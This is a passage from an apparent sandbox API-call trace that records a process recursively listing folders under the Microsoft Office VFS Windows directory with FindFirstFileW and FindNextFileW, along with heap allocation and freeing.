[0055.527] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.527] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x4280800 [0055.527] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.527] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42c3ee0 [0055.527] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0x4280400 [0055.527] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0 [0055.527] FindClose (in: hFindFile=0x4280400 | out: hFindFile=0x4280400) returned 1 [0055.527] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.527] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0055.527] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.527] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.528] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces") returned 115 [0055.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x4280680 [0055.528] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.528] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.528] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42c3ee0 [0055.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91") returned 142 [0055.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\11.0.0.0__89845DCD8080CC91\\*", lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0x4280800 [0055.528] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.528] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.528] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0 [0055.528] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0055.528] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.528] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.528] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0055.528] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.528] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.528] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData") returned 91 [0055.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x42801c0 [0055.529] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.529] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.529] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42c3ee0 [0055.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C") returned 118 [0055.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0x4280500 [0055.529] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.529] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.529] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0 [0055.529] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.529] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.529] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.529] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0055.529] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.529] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.529] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics") returned 118 [0055.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x4280540 [0055.529] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.529] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.529] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42c3ee0 [0055.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C") returned 145 [0055.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0x4280500 [0055.530] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0 [0055.530] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.530] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.530] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0055.530] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.530] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData") returned 98 [0055.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x42803c0 [0055.530] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.530] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42c3ee0 [0055.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C") returned 125 [0055.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0x4280180 [0055.530] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.530] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0 [0055.531] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0055.531] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.531] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0055.531] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.531] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl") returned 103 [0055.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x4280540 [0055.531] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.531] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42c3ee0 [0055.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C") returned 130 [0055.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData.Intl\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0x4280800 [0055.531] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ee69c | out: lpFindFileData=0x38ee69c) returned 0 [0055.531] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0055.531] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0055.531] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.532] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0055.532] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.532] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0055.532] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0055.532] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.532] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.532] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0055.533] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ef8 [0055.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF") returned 54 [0055.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\INF\\*", lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0x4280100 [0055.533] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0055.533] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.533] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0055.533] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ef8 [0055.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer") returned 60 [0055.533] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\*", lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0x4280500 [0055.533] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.533] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.533] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}") returned 99 [0055.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-000F-0000-1000-0000000FF1CE}\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x42803c0 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.534] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.535] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0055.535] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.535] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}") returned 99 [0055.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x4280540 [0055.535] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.535] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0055.535] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.535] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.535] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}") returned 99 [0055.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-040C-1000-0000000FF1CE}\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x4280140 [0055.536] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.536] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.536] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.536] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0055.536] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.536] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.536] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}") returned 99 [0055.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-001F-0C0A-1000-0000000FF1CE}\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x4280540 [0055.536] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.536] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.536] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.536] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0055.536] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.536] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.536] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}") returned 99 [0055.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\Installer\\{90160000-006E-0409-1000-0000000FF1CE}\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x4280100 [0055.536] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.537] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.537] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0 [0055.537] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0055.537] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0055.537] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0055.537] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0055.537] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0055.537] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0055.537] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42f3ef8 [0055.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH") returned 59 [0055.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\*", lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0x4280100 [0055.537] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.537] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0055.537] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42a3ed0 [0055.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP") returned 68 [0055.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\*", lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 0x4280400 [0055.537] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.537] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.537] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES") returned 77 [0055.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\*", lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0x4280440 [0055.538] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x38ee918 | out: lpFindFileData=0x38ee918) returned 0 [0055.538] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0055.538] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0055.538] FindNextFileW (in: hFindFile=0x4280400, lpFindFileData=0x38eeb94 | out: lpFindFileData=0x38eeb94) returned 1 [0055.538] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x42b3ed8 [0055.538] lstrlenW (lpString="C:\\Program Files\\Microsoft 